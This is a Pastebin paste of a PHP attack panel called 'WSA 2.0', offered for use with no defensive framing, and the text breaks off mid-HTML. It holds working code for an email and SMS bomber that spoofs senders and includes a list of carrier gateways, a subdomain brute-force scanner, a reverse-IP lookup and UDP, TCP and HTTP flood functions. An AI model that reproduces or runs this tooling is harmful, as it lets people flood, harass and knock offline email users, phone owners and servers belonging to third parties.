Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $t = explode(' ', microtime(TRUE));
- ini_set('display_errors', 1);
- error_reporting(E_ALL);
- session_start();
- @ini_set('max_execution_time', 0);
- @set_time_limit(0);
- $wsa = new WSA_2_0();
- echo $wsa->init($t);
- if(is_array(filter_input_array(INPUT_POST))) {
- $a = filter_input_array(INPUT_POST);
- echo $wsa->handler($a);
- }
- else {
- echo $wsa->handler('1');
- }
- echo $wsa->pageView('footer');
- exit;
- class WSA_2_0 {
- private $pages = array("1"=>"main","2"=>"mail","3"=>"resolve","4"=>"reverse","5"=>"dos");
- private $prefix = array("mail", "www", "ns2", "ns1", "blog", "localhost", "m", "ftp",
- "mobile", "ns3", "smtp", "search", "api", "dev", "secure", "webmail", "admin",
- "img", "news", "sms", "test", "video", "www2", "media", "static", "ads",
- "mail2", "beta", "wap", "dns2", "support", "pop", "my", "origin-www", "help",
- "newsletter", "ns4", "upload", "mail3", "blogs", "download", "dns1", "www3", "shop",
- "forum", "chat", "www1", "image", "app", "tv", "dns", "services", "music",
- "images", "game", "pay", "new", "host", "www4", "service", "ad", "monitor",
- "web2", "wiki", "mx1", "sports", "lists", "m1", "games", "db", "m2",
- "business", "dns3", "ws", "counter", "travel", "photo", "gateway", "members", "c",
- "g", "mail4", "crm", "tools", "backup", "mail1", "apps", "t", "email",
- "img3", "cms", "demo", "local", "ns", "i", "s", "community", "connect",
- "cdn", "w12", "iphone", "cacti", "w11", "www.mail", "auth", "rss", "nagios",
- "www.search", "home", "data", "img2", "live", "files", "www5", "login", "stat",
- "sso", "member", "jira", "w4", "img5", "ipad", "web1", "shopping", "core",
- "soccer", "jp", "vpn", "www.m", "labs", "*.blog", "old", "ntp", "mysql",
- "it", "origin", "content", "feedback", "health", "exchange", "puppet", "mx", "corp",
- "job", "a", "img9", "mediakit", "gourmet", "dir", "reports", "pr", "marketing",
- "diet", "crawl", "redmine", "mon", "wallet", "cache", "mac", "feeds", "editor",
- "*.mail", "ftp2", "rt", "info", "kids", "imap", "svn", "reklam", "de",
- "point", "transit", "r", "www.dev", "partners", "hosting", "img1", "www.ads", "www.news",
- "img4", "img6", "db1", "img7", "w2", "www.api", "auto", "adv", "feed",
- "www.sms", "img8", "w5", "partner", "cs", "cm", "w3", "whm", "w18",
- "w6", "w8", "origin-images", "cpanel", "mms", "forums", "xml", "meet", "album",
- "vote", "bit", "event", "us", "www6", "bitex", "av", "payment", "money",
- "group", "mx2", "a1", "h2", "www.mobile", "daily", "videos", "e", "downloads",
- "pl", "gps", "enews", "pg", "map", "autodiscover", "education", "sandbox", "autos",
- "mv", "im", "dns4", "m3", "m9", "w10", "w13", "w14", "w20",
- "w21", "ticket", "sip", "jobs", "gitlab", "stats", "u", "www9", "pda",
- "survey", "love", "me", "www15", "w15", "www22", "sites", "smtp3", "smtp2",
- "smtp1", "web", "press", "backend", "n", "widgets", "es", "www90", "s269",
- "s281", "s216", "s221", "s222", "s224", "s227", "s233", "s236", "s237",
- "s241", "s245", "s247", "s248", "s251", "s252", "s253", "s254", "s255",
- "s256", "s257", "s258", "s262", "s264", "s265", "s266", "s267", "s268",
- "s270", "s271", "s272", "s273", "s274", "s275", "s276", "s277", "s278",
- "s280", "s285", "s286", "s287", "s288", "s289", "s291", "s304", "s305",
- "s296", "s307", "s308", "s309", "s311", "s312", "s313", "s314", "s315",
- "s316", "s317", "s318", "s321", "s324", "s325", "s326", "s329", "s331",
- "s332", "s333", "s334", "s335", "s337", "s338", "s341", "s342", "s343",
- "s344", "s345", "s346", "s347", "s348", "s349", "s351", "s352", "s353",
- "s354", "s355", "s356", "s357", "s336", "s339", "s411", "s412", "s413",
- "s414", "s415", "s416", "s417", "s418", "s419", "s421", "s422", "s424",
- "s425", "s426", "s427", "s428", "s429", "s431", "s432", "s433", "s435",
- "s436", "s438", "s439", "s441", "s442", "s443", "s444", "s445", "s446",
- "s447", "s448", "s450", "s451", "s452", "s453", "s454", "s455", "s456",
- "s350", "s458", "s459", "s461", "s462", "s463", "s464", "s465", "s466",
- "s467", "s468", "s469", "s471", "s472", "s473", "s474", "s475", "s476",
- "s477", "s402", "s403", "s406", "s420", "s430", "s434", "s437", "s440",
- "s449", "s457", "s460", "s470", "river", "r1", "s203", "s249", "s239",
- "m.", "share", "file", "s238", "s230", "s207", "s202", "s201", "s410",
- "free", "flv", "drm", "s401", "api-test", "backup1", "promo", "o1.email", "s340",
- "guides", "s310", "s330", "att", "s320", "s299", "s298", "s297", "dev1",
- "main", "s306", "smoke", "s295", "s1", "s2", "s303", "s301", "sm",
- "zabbix", "sms2", "jobb", "core2", "irc", "s302", "dev.payment", "billing", "s40",
- "s33", "s31", "status", "s30", "movies", "entertainment", "s18", "www.tv", "s17",
- "edge", "adserver", "s16", "s290", "s29", "podcast", "w9", "www.games", "adserver2",
- "s7", "mailing", "s5", "tracker", "s4", "r2", "www.wap", "dm", "yahoo",
- "cisco2", "cisco1", "facebook", "access", "mobi", "sync", "elections", "results", "archives",
- "surveys", "users", "w1", "subscribe", "bk", "www.shopping", "football", "relay", "w7",
- "adimg", "ocs", "x1", "x3", "www.cdn", "toolbar", "mobil", "solr", "www.ad",
- "www.adimg", "db3", "*.red", "www.blog", "navi", "db01", "db4", "*.dev", "db02",
- "m0", "araba", "present", "profile", "sr", "w17", "w19", "w22", "w23",
- "w24", "anime", "research", "fortune", "cp1", "cp2", "cp3", "cp4", "cp5",
- "cp6", "cp7", "cp8", "cp9", "cp10", "voip", "fotogaleri", "secure.dev", "screenshot",
- "*.search", "secim", "canli", "sorry", "log", "in", "kvm", "translate", "coupon",
- "challenge", "bb", "docs", "services2", "weather", "click", "tvadmin", "vid1", "vid2",
- "sharepoint", "code", "test1", "history", "appdev", "admin.test", "buzz", "realty", "widget",
- "noticias", "radio", "blogger", "showcase", "oas", "inter", "fotos", "helpdesk", "download2",
- "*.staging", "fr", "local.api", "pt", "as", "ru", "en", "*.blogs", "test.www",
- "www.chat", "nb", "lb", "img0", "ssl", "link", "ns5", "dating", "newsletters",
- "contribute", "master", "www.hosting", "img10", "img11", "kid", "cache3", "cache1", "polls",
- "qq", "campus", "record", "kk", "www.music", "dc", "webdisk", "ssl1", "db2",
- "app2", "web3", "api.news", "dev.movie", "fm", "advertising", "dictionary", "cache2", "form",
- "dev.music", "season", "conference", "dev.news", "dev.travel", "error", "finance", "portal", "mail5.mail",
- "sq1", "mail4.mail", "origin-www.sjl01", "mail3.mail", "beacon", "click1.mail", "wireless", "now", "mail2.mail",
- "archive", "mail7.mail", "o", "mail1.mail", "mail6.mail", "ad2", "ad3", "x", "cdntest",
- "ad1", "pv", "profiles", "fe2", "origin-video", "fe1", "cn", "cancer", "catalog",
- "m4", "m6", "m7", "m8", "food", "w0", "sport", "magazine", "ask",
- "social", "wap3", "game1", "mp", "contact", "wap1", "www.demo", "pet", "family",
- "open", "ap", "seminar", "mailer", "www16", "www17", "movie", "www23", "www24",
- "www25", "www26", "www30", "www31", "www32", "www36", "www37", "www39", "www41",
- "www43", "www44", "www47", "www48", "www49", "www51", "www54", "www56", "www61",
- "www63", "www66", "www68", "www69", "www81", "www82", "www270", "one", "corporate",
- "www10", "www20", "books", "www.jobs", "events", "spotlight", "www18", "www19", "www55",
- "www64", "www65", "www67", "www70", "www74", "s259", "travel2", "imgs", "3g",
- "id", "stock", "union", "sales", "quangcao", "auth1", "ajax", "alt", "video1",
- "video2", "auth2", "auth3", "dv1", "speedtest", "munin", "tracking", "dev.www", "zippy",
- "otrs", "im2", "im3", "im4", "am", "im1", "market", "*.s", "*.b",
- "b", "l", "chat2", "q", "maintenance", "developer", "b2", "ekonomi", "spor",
- "web10", "dns5", "intranet", "beta.m", "christmas", "v", "bbs", "activity", "us.m",
- "m10", "idc", "m11", "user", "www.game", "ann", "fb", "woman", "jabber",
- "mb2", "adm", "wap2", "staging", "talk", "cf", "fin", "rw", "p",
- "men", "women", "list", "lite", "win", "www.help", "site", "club", "i3.comet.webchat",
- "webchat", "www.plb3", "backoffice", "i7.comet.webchat", "comet.webchat",
- "ext.webchat", "i2.comet.webchat", "i6.comet.webchat", "www.plb1",
- "www.plb2", "www.plb4", "www.plb5", "www.plb6", "www.slb1", "www.slb2", "www.slb3",
- "www.slb4", "www.slb5", "www.slb6", "buddy.webchat", "i9.comet.webchat", "m.plb1", "m.plb2",
- "i4.comet.webchat", "m.slb2", "i0.comet.webchat", "i1.comet.webchat",
- "i8.comet.webchat", "i5.comet.webchat", "m.slb1", "msgrs.webchat", "mayday");
- public function __construct() {
- if(is_array(filter_input_array(INPUT_POST))) {
- $a = filter_input_array(INPUT_POST);
- foreach ($a as $k => $v) {
- $this->$k = $v;
- }
- }
- }
- public function init($t) {
- $this->sTime = $t;
- return $this->pageView('header');
- }
- public function handler($a) {
- if(isset($this->a)) {
- return $this->stagging();
- }
- else {
- $this->a = $a;
- return $this->stagging();
- }
- }
- private function newsFeed() {
- $this->newsList = $this->pageView($this->pages['1']);
- $feed = simplexml_load_file('http://sec.jetlib.com/?media=atom');
- $children = $feed->children('http://www.w3.org/2005/Atom');
- $entries = $children->entry;
- foreach ($entries as $entry) {
- $details = $entry->children('http://www.w3.org/2005/Atom');
- $this->newsList .= '<div class="activenewstitle">'
- . '<h1>' . $details->title . '</h1>'
- . '</div>'
- . '<div class="activenewscontent">'
- . $details->content
- . '<br>'
- . '<a href=' . $details->id . '>' . $details->id . '</a>'
- . '</div>';
- }
- return $this->newsList;
- }
- private function stagging() {
- switch ($this->a) {
- case 1:
- return $this->newsFeed();
- break;
- case 2:
- return $this->mailStart();
- break;
- case 3:
- return $this->resolveStart();
- break;
- case 4:
- return $this->reverseIpStart();
- break;
- case 5:
- return $this->dosStart();
- break;
- default:
- return $this->newsFeed();
- break;
- }
- }
- private function mailStart() {
- if(isset($this->p6)) {
- $this->p5 = "$this->p5.$this->p6";
- }
- if(!filter_var($this->p2, FILTER_VALIDATE_EMAIL) && isset($this->p1)) {
- $this->p2 = 'rekt@gayjimsgym.com';
- }
- if(filter_var($this->p1, FILTER_VALIDATE_EMAIL) && ctype_digit($this->p3)) {
- return $this->launchMailJob();
- }
- else {
- return $this->pageView($this->pages[$this->a]);
- }
- }
- private function resolveStart() {
- if(isset($this->p1) && gethostbyname($this->p1)) {
- return $this->launchResolveJob();
- }
- else {
- return $this->pageView($this->pages[$this->a]);
- }
- }
- private function reverseIpStart() {
- if(isset($this->p1) && (filter_var($this->p1, FILTER_VALIDATE_IP))) {
- return $this->launchReverseIpJob();
- }
- else {
- return $this->pageView($this->pages[$this->a]);
- }
- }
- private function dosStart() {
- if($this->p1 != 'http' && ctype_digit($this->p3) && ctype_digit($this->p4)) {
- return $this->launchUdpTcpJob();
- }
- elseif($this->p1 == 'http' && ctype_digit($this->p4)) {
- return $this->launchHttpJob();
- }
- else {
- return $this->pageView($this->p1);
- }
- }
- private function launchMailJob() {
- $errno = '0';
- $succ = '0';
- echo $this->pageView('mail');
- echo '<div class="resultstitle"><h1>Mail Bomber Output</h1></div><div class="resultscontent">';
- for ($i = 0; $i < $this->p3; $i++) {
- $p2 = explode('@', $this->p2);
- $p2[0] = $p2[0] . $i;
- $from = implode('@', $p2);
- $p4 = $this->p4 . $i;
- $headers = "From: $from" . "\r\n";
- $headers .= "Reply-To: $from" . "\r\n";
- $headers .= "X-Mailer: PHP/" . phpversion();
- if (!mail($this->p1, $p4, $this->p5, $headers)) {
- if($errno + $succ == 50) {
- echo '<br>';
- $errno = 0;
- $submit = 0;
- }
- $errno++;
- echo '<font color="red">|</font>';
- } else {
- if($errno + $succ == 50) {
- echo '<br>';
- $errno = 0;
- $submit = 0;
- }
- $succ++;
- echo '<font color="green">|</font>';
- }
- }
- echo '</div>';
- }
- private function launchResolveJob() {
- echo $this->pageView('resolve');
- echo '<div class="resultstitle"><h1>Subdomain Scanner Output</h1></div><div class="resultscontent">';
- echo '<center><table cellspacing="1" cellpadding="2" class="info">';
- foreach ($this->prefix as $prefix) {
- $domain = $prefix . '.' . $this->p1;
- $domainIP = gethostbyname($domain);
- if(filter_var($domainIP, FILTER_VALIDATE_IP)) {
- echo '<tr><td>' . $domain . '</td><td>' . $domainIP . '</td></tr>';
- }
- }
- echo '</table></center></div>';
- }
- private function launchReverseIpJob() {
- echo $this->pageView('reverse');
- echo '<div class="resultstitle"><h1>Reverse IP Output</h1></div><div class="resultscontent">';
- echo '<center><table cellspacing="1" cellpadding="2" class="info">';
- echo '<tr><th>Host</th><th>Veriffied IP</td></tr>';
- $uri = "http://domains.yougetsignal.com/domains.php";
- $ch = curl_init($uri);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$this->p1&ket=");
- curl_setopt($ch, CURLOPT_HEADER, 0);
- curl_setopt($ch, CURLOPT_POST, 1);
- $srf = curl_exec($ch);
- preg_match_all("/\[\"(.*)\",/U", $srf, $match);
- foreach ($match[1] as $url) {
- if($this->p1 === gethostbyname($url)) {
- echo '<tr><td>' . $url . '</td><td>' . gethostbyname($url) . '</td></tr>';
- }
- }
- echo '</table></center></div>';
- }
- private function launchUdpTcpJob() {
- echo $this->pageView($this->p1);
- $end = time() + $this->p4;
- $succ = 0;
- for ($sendData = 0; strlen($sendData) < 65000; $sendData .= Chr(255)) {
- }
- while (1) {
- if (time() > $end) {
- break;
- }
- $fp = fsockopen($this->p1 . '://' . $this->p2, $this->p3, $errno, $errstr, 5);
- if ($fp) {
- fwrite($fp, $sendData);
- fclose($fp);
- $succ++;
- }
- }
- echo '<div class="resultstitle"><h1>DoS Tool Output</h1></div>';
- echo '<div class="resultscontent">';
- if($succ == 0) { echo '<font color="red">ERROR</font>'; }
- else { echo '<span>' . round($succ) . '</span> Packets sent <span>' . round($succ/$this->p4) . '</span> Packets/s'; }
- echo'</div>';
- }
- private function launchHttpJob() {
- echo $this->pageView($this->p1);
- $end = time() + $this->p4;
- $succ = 0;
- $sendData .= 'GET ' . $this->p5 . ' HTTP/1.1' . "\r\n";
- $sendData .= 'Host: ' . $this->p2 . "\r\n";
- $sendData .= 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:2.0b7) Gecko/20100101 Firefox/4.0b7' . "\r\n";
- $sendData .= 'Keep-alive: 300' . "\r\n";
- $sendData .= 'Connection: keep-alive' . "\r\n\r\n";
- $fp = fsockopen($this->p2, 80, $errno, $errstr, 5);
- while (1) {
- if (time() > $end) {
- break;
- }
- if ($fp) {
- fwrite($fp, $sendData);
- fclose($fp);
- $succ++;
- } else {
- $fp = fsockopen($this->p2, 80, $errno, $errstr, 5);
- }
- }
- echo '<div class="resultstitle"><h1>DoS Tool Output</h1></div>';
- echo '<div class="resultscontent">';
- if($succ == 0) { echo '<font color="red">ERROR</font>'; }
- else { echo '<span>' . round($succ) . '</span> Packets sent <span>' . round($succ/$this->p4) . '</span> Packets/s'; }
- echo'</div>';
- }
- public function pageView($chunk) {
- $chld = new constructHTML();
- return $chld->fetchHtml($chunk);
- }
- }
- class constructHTML extends WSA_2_0 {
- private $headerHTML = '<!-- header -->'
- .'<head>'
- .' <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'
- .' <title>WSA 2.0</title>'
- .' <style>'
- .' body'
- .' {'
- .' height:100%;'
- .' width:100%;'
- .' padding:0;'
- .' margin:0;'
- .' color:#e1e1e1;'
- .' background-color:#444;'
- .' }'
- .' body,td,th'
- .' {'
- .' font: 9pt Lucida,Verdana;margin:0;'
- .' color:#e1e1e1;'
- .' }'
- .' .headercontainer'
- .' {'
- .' width: 100%;'
- .' display: inline-flex;'
- .' flex-direction: column;'
- .' background-color:#222;'
- .' margin-bottom: 20px;'
- .' }'
- .' .header'
- .' {'
- .' display: inline;'
- .' text-align: center;'
- .' }'
- .' .menubar'
- .' {'
- .' margin-top: 5px;'
- .' justify-content: center;'
- .' text-align: center;'
- .' display: inline-flex;'
- .' }'
- .' .menubar > div'
- .' {'
- .' width: 10%;'
- .' margin: 5px;'
- .' border-radius: 10px 10px 10px 10px;'
- .' background-color: #444;'
- .' }'
- .' .menubar > div:hover'
- .' {'
- .' background-color: #333;'
- .' font-weight: bold;'
- .' }'
- .' .activepage'
- .' {'
- .' border-left: 5px solid #444;'
- .' border-right: 5px solid #444;'
- .' background-color:#444;'
- .' }'
- .' .activetitle'
- .' {'
- .' width:100%;'
- .' background-color:#222;'
- .' }'
- .' .activecontent'
- .' {'
- .' border-left: 5px solid #444;'
- .' text-align: center;'
- .' background-color: #333;'
- .' padding-bottom: 20px;'
- .' padding-top: 20px;'
- .' }'
- .' .activenews'
- .' {'
- .' width: 90%;'
- .' display: inline-block;'
- .' border-left: 5px solid #333;'
- .' border-right: 5px solid #333;'
- .' background-color: #555;'
- .' vertical-align: top;'
- .' }'
- .' .activenewstitle'
- .' {'
- .' background-color:#222;'
- .' border-top: 40px #333 solid;'
- .' text-align: left;'
- .' }'
- .' .activenewscontent'
- .' {'
- .' border-left: 5px solid #333;'
- .' text-align: center;'
- .' width: 100%;'
- .' min-height: 40px;'
- .' }'
- .' .activenewscontent > p'
- .' {'
- .' margin: 0;'
- .' }'
- .' .results'
- .' {'
- .' margin-left: auto;'
- .' margin-right: auto;'
- .' display: table;'
- .' background-color: #555;'
- .' }'
- .' .resultstitle'
- .' {'
- .' background-color:#222;'
- .' border-top: 40px #333 solid;'
- .' text-align: left;'
- .' }'
- .' .resultscontent'
- .' {'
- .' border-left: 5px solid #333;'
- .' text-align: center;'
- .' min-height: 40px;'
- .' padding-bottom: 20px;'
- .' }'
- .' span'
- .' {'
- .' color:#df5;'
- .' }'
- .' .title'
- .' {'
- .' color:#df5;'
- .' font-size:40px;'
- .' }'
- .' .subtitle'
- .' {'
- .' padding-top:10px;'
- .' color:#fff;'
- .' font-size:15px;'
- .' }'
- .' h1'
- .' {'
- .' color: #df5;'
- .' border-left:5px solid #df5;'
- .' padding: 2px 5px;'
- .' font: 14pt Verdana;'
- .' margin:0;'
- .' }'
- .' a'
- .' {'
- .' text-decoration:none;'
- .' color:#df5;'
- .' }'
- .' a:hover'
- .' {'
- .' text-decoration:underline;'
- .' }'
- .' table{'
- .' text-align: center;'
- .''
- .' }'
- .' th.cont {'
- .' color: #df5;'
- .' background-color:#222;'
- .' }'
- .' td.cont {'
- .' font: 9pt Lucida,Verdana;'
- .' margin:0;'
- .' color:#e1e1e1;'
- .' }'
- .' tr:nth-child(2n+0) {'
- .' background-color: #444;'
- .' }'
- .' input,textarea,select'
- .' {'
- .' margin:0;'
- .' color:#fff;'
- .' background-color:#555;'
- .' border:1px solid #df5;'
- .' font: 9pt Monospace, "Courier New";'
- .' }'
- .' .footerwrapper'
- .' {'
- .' display: flex;'
- .' background-color:#222;'
- .' min-height:84px;'
- .' border-top:2px solid #444;'
- .' border-left: 5px solid #444;'
- .' color:#fff;'
- .' }'
- .' .footerCenter{'
- .' width:50%;'
- .' overflow:hidden;'
- .' border-right:2px solid #444;'
- .' border-left:2px solid #444;'
- .' display:inline-block;'
- .' }'
- .' .footerLeft{'
- .' width:25%;'
- .' overflow:hidden;'
- .' display:inline-block;'
- .' }'
- .' .footerRight{'
- .' width:25%;'
- .' overflow:hidden;'
- .' display:inline-block;'
- .' }'
- .' </style>'
- .'</head>'
- .'<body>'
- .' <div class="headercontainer">'
- .' <div class="header">'
- .' <div class="title">'
- .' WSA 2.0'
- .' </div>'
- .' <div class="subtitle">'
- .' WSO Service Annihilator'
- .' </div>'
- .' </div>'
- .' <script>'
- .' var d = document;'
- .' function set(a, p1, p2, p3, p4, p5) {'
- .' if (a != null)d.mf.a.value = a;'
- .' if (p1 != null)d.mf.p1.value = p1;'
- .' if (p2 != null)d.mf.p2.value = p2;'
- .' if (p3 != null)d.mf.p3.value = p3;'
- .' if (p4 != null)d.mf.p4.value = p4;'
- .' if (p5 != null)d.mf.p5.value = p5;'
- .' }'
- .' function g(a, p1, p2, p3, p4, p5) {'
- .' set(a, p1, p2, p3, p4, p5);'
- .' d.mf.submit();'
- .' }'
- .' </script>'
- .' <form method=post name=mf style="display:none;">'
- .' <input type=hidden name=a>'
- .' <input type=hidden name=p1>'
- .' <input type=hidden name=p2>'
- .' <input type=hidden name=p3>'
- .' <input type=hidden name=p4>'
- .' <input type=hidden name=p5>'
- .' <input type=hidden name=p6>'
- .' </form>'
- .' <div class="menubar">'
- .' <div><a href="#" onclick="g(\'1\',null,null,null,null);">Home</a></div>'
- .' <div><a href="#" onclick="g(\'2\',null,null,null,null);">Mail</a></div>'
- .' <div><a href="#" onclick="g(\'3\',null,null,null,null);">Resolve</a></div>'
- .' <div><a href="#" onclick="g(\'4\',null,null,null,null);">ReverseIP</a></div>'
- .' <div><a href="#" onclick="g(\'5\',\'udp\',null,null,null);">DDoS</a></div>'
- .' </div>'
- .' </div>';
- private $mainHTML = '<!-- content -->'
- .' <div class="activepage">'
- .' <div class="activetitle">'
- .' <h1>Latest News - Jetlib.com</h1>'
- .' </div>'
- .' <div class="activecontent">'
- .' <div class="results">';
- private $mailHTML = '<!-- content -->'
- .' <div class="activepage">'
- .' <div class="activetitle">'
- .' <h1>Email/SMS Bomber</h1>'
- .' </div>'
- .' <div class="activecontent">'
- .' <form onSubmit="g(this.a.value,this.p1.value,this.p2.value,this.p3.value,this.p4.value,this.p5.value);return false;">'
- .' <input type="hidden" name="a" value="2" />'
- .' <span>Email Bomber</span><br>'
- .' Target<br>'
- .' <input type="text" name="p1" placeholder="Target email" value="" /><br>'
- .' Sender<br>'
- .' <input type="text" name="p2" placeholder="Spoof email" value="" /><br>'
- .' Amount<br>'
- .' <input type="text" name="p3" placeholder="100" value="" /><br>'
- .' Subject<br>'
- .' <input type="text" name="p4" placeholder="Subject" value="" /><br>'
- .' Message<br>'
- .' <textarea id="bigbox" name="p5"></textarea><br>'
- .' <input type="submit" value=">> Send <<"/><br>'
- .' </form>'
- .' <form onSubmit="g(this.a.value,this.p1.value,this.p2.value,this.p3.value,this.p4.value,this.p5.value,this.p6.value);return false;">'
- .' <input type="hidden" name="a" value="2" />'
- .' <span>SMS Bomber</span><br>'
- .' Target<br>'
- .' <input type="text" name="p1" placeholder="Target cell number" value="" /><br>'
- .' Provider<br>'
- .' <select name="p6">'
- .' <option value="@sms.3rivers.net">3 River Wireless</option>'
- .' <option value="@paging.acswireless.com">ACS Wireless</option>'
- .' <option value="@message.alltel.com">Alltel</option>'
- .' <option value="@txt.att.net ">AT&T</option>'
- .' <option value="@txt.bellmobility.ca">Bell Canada</option>'
- .' <option value="@bellmobility.ca">Bell Canada</option>'
- .' <option value="@txt.bell.ca">Bell Mobility (Canada)</option>'
- .' <option value="@txt.bellmobility.ca">Bell Mobility</option>'
- .' <option value="@blueskyfrog.com">Blue Sky Frog</option>'
- .' <option value="@sms.bluecell.com">Bluegrass Cellular</option>'
- .' <option value="@myboostmobile.com">Boost Mobile</option>'
- .' <option value="@bplmobile.com">BPL Mobile</option>'
- .' <option value="@cwwsms.com">Carolina West Wireless</option>'
- .' <option value="@mobile.celloneusa.com">Cellular One</option>'
- .' <option value="@csouth1.com">Cellular South</option>'
- .' <option value="@cwemail.com">Centennial Wireless</option>'
- .' <option value="@messaging.centurytel.net">CenturyTel</option>'
- .' <option value="@txt.att.net ">Cingular (Now AT&T)</option>'
- .' <option value="@msg.clearnet.com">Clearnet</option>'
- .' <option value="@comcastpcs.textmsg.com">Comcast</option>'
- .' <option value="@corrwireless.net">Corr Wireless Communications</option>'
- .' <option value="@mobile.dobson.net">Dobson</option>'
- .' <option value="@sms.edgewireless.com">Edge Wireless</option>'
- .' <option value="@fido.ca">Fido</option>'
- .' <option value="@sms.goldentele.com">Golden Telecom</option>'
- .' <option value="@messaging.sprintpcs.com">Helio</option>'
- .' <option value="@text.houstoncellular.net">Houston Cellular</option>'
- .' <option value="@ideacellular.net">Idea Cellular</option>'
- .' <option value="@ivctext.com">Illinois Valley Cellular</option>'
- .' <option value="@inlandlink.com">Inland Cellular Telephone</option>'
- .' <option value="@pagemci.com">MCI</option>'
- .' <option value="@page.metrocall.com">Metrocall</option>'
- .' <option value="@my2way.com">Metrocall 2-way</option>'
- .' <option value="@mymetropcs.com">Metro PCS</option>'
- .' <option value="@fido.ca">Microcell</option>'
- .' <option value="@clearlydigital.com">Midwest Wireless</option>'
- .' <option value="@mobilecomm.net">Mobilcomm</option>'
- .' <option value="@text.mtsmobility.com">MTS</option>'
- .' <option value="@messaging.nextel.com">Nextel</option>'
- .' <option value="@onlinebeep.net">OnlineBeep</option>'
- .' <option value="@pcsone.net">PCS One</option>'
- .' <option value="@txt.bell.ca">President"s Choice</option>'
- .' <option value="@sms.pscel.com">Public Service Cellular</option>'
- .' <option value="@qwestmp.com">Qwest</option>'
- .' <option value="@pcs.rogers.com">Rogers AT&T Wireless</option>'
- .' <option value="@pcs.rogers.com">Rogers Canada</option>'
- .' <option value="@satellink.net">Satellink</option>'
- .' <option value="@email.swbw.com">Southwestern Bell</option>'
- .' <option value="@messaging.sprintpcs.com">Sprint</option>'
- .' <option value="@tms.suncom.com">Sumcom</option>'
- .' <option value="@mobile.surewest.com">Surewest Communicaitons</option>'
- .' <option value="@tmomail.net">T-Mobile</option>'
- .' <option value="@msg.telus.com">Telus</option>'
- .' <option value="@txt.att.net">Tracfone</option>'
- .' <option value="@tms.suncom.com">Triton</option>'
- .' <option value="@utext.com">Unicel</option>'
- .' <option value="@email.uscc.net">US Cellular</option>'
- .' <option value="@txt.bell.ca">Solo Mobile</option>'
- .' <option value="@messaging.sprintpcs.com">Sprint</option>'
- .' <option value="@tms.suncom.com">Sumcom</option>'
- .' <option value="@mobile.surewest.com">Surewest Communicaitons</option>'
- .' <option value="@tmomail.net">T-Mobile</option>'
- .' <option value="@msg.telus.com">Telus</option>'
- .' <option value="@tms.suncom.com">Triton</option>'
- .' <option value="@utext.com">Unicel</option>'
- .' <option value="@email.uscc.net">US Cellular</option>'
- .' <option value="@uswestdatamail.com">US West</option>'
- .' <option value="@vtext.com">Verizon</option>'
- .' <option value="@vmobl.com">Virgin Mobile</option>'
- .' <option value="@vmobile.ca">Virgin Mobile Canada</option>'
- .' <option value="@sms.wcc.net">West Central Wireless</option>'
- .' <option value="@cellularonewest.com">Western Wireless</option>'
- .' </select><br>'
- .' Sender<br>'
- .' <input type="text" name="p2" placeholder="Spoof email" value="" /><br>'
- .' Amount<br>'
- .' <input type="text" name="p3" placeholder="100" value="" /><br>'
- .' Subject<br>'
- .' <input type="text" name="p4" placeholder="Subject" value="" /><br>'
- .' Message<br>'
- .' <textarea name="p5"></textarea><br>'
- .' <input type="submit" value=">> Send <<"/><br>'
- .' </form>'
- .' <div class="results">';
- private $resolveHTML = '<!-- content -->'
- .' <div class="activepage">'
- .' <div class="activetitle">'
- .' <h1>Subdomain scan</h1>'
- .' </div>'
- .' <div class="activecontent">'
- .''
- .' <form onSubmit="g(this.a.value,this.p1.value,null,null,null,null); return false;">'
- .' <input type="hidden" name="a" value="3" />'
- .' <span style="margin-top:20px;">Domain Fuzzing</span>'
- .' <p>Enter a top level domain</p>'
- .' <input type="text" name="p1"/>'
- .' <input type="submit" value=">>"/>'
- .' </form>'
- .' <div class="results">';
- private $reverseHTML = '<!-- content -->'
- .' <div class="activepage">'
- .' <div class="activetitle">'
- .' <h1>Reverse IP Tool</h1>'
- .' </div>'
- .' <div class="activecontent">'
- .''
- .''
- .' <form onSubmit="g(this.a.value,this.p1.value,null,null,null,null); return false;">'
- .' <input type="hidden" name="a" value="4" />'
- .''
- .' <span style="margin-top:20px;">Servers IP Lookup</span>'
- .' <p>Enter a top level domain</p>'
- .' <input type="text" name="p1"/>'
- .' <input type="submit" value=">>"/>'
- .' </form>'
- .' <div class="results">';
- private $tcpHTML = '<!-- content -->'
- .' <div class="activepage">'
- .' <div class="activetitle">'
- .' <h1>Denial of Service</h1>'
- .' </div>'
- .' <div class="activecontent">'
- .' <span>Change method</span>'
- .' <br>'
- .' <br>'
- .' <form onSubmit="g(this.a.value,this.p1.value,null,null,null,null);return false;">'
- .' <input type="hidden" name="a" value="5" />'
- .' <select size="1" name="p1">'
- .' <option value="udp">UDP Flood</option>'
- .' <option value="tcp">TCP Flood</option>'
- .' <option value="http">HTTP Flood</option>'
- .' </select><br>'
- .' <input type="submit" value=">>" /><br>'
- .' </form>'
- .' <form onSubmit="g(this.a.value,this.p1.value,this.p2.value,this.p3.value,this.p4.value,null);return false;">'
- .''
- .' <span>TCP Flooder</span><br>'
- .''
- .' Host<br>'
- .''
- .' <input type="text" name="p2" ><br>'
- .''
- .' Port<br>'
- .''
- .' <input type="text" name="p3" value="" ><br>'
- .''
- .' Time<br>'
- .' <input type="text" name="p4"><br>'
- .' <input type="hidden" name="a" value="5" />'
- .' <input type="hidden" name="p1" value="tcp" />'
- .' <input type="submit" value=">>" /><br>'
- .' </form>'
- .' <div class="results">';
- private $udpHTML = '<!-- content -->'
- .' <div class="activepage">'
- .' <div class="activetitle">'
- .' <h1>Denial of Service</h1>'
- .' </div>'
- .' <div class="activecontent">'
- .' <span>Change method</span>'
- .' <br>'
- .' <br>'
- .' <form onSubmit="g(this.a.value,this.p1.value,null,null,null,null);return false;">'
- .' <input type="hidden" name="a" value="5" />'
- .' <select size="1" name="p1">'
- .' <option value="udp">UDP Flood</option>'
- .' <option value="tcp">TCP Flood</option>'
- .' <option value="http">HTTP Flood</option>'
- .' </select><br>'
- .' <input type="submit" value=">>" /><br>'
- .' </form>'
- .' <form onSubmit="g(this.a.value,this.p1.value,this.p2.value,this.p3.value,this.p4.value,null);return false;">'
- .''
- .' <span>"UDP Flooder</span><br>'
- .''
- .' Host<br>'
- .''
- .' <input type="text" name="p2" ><br>'
- .''
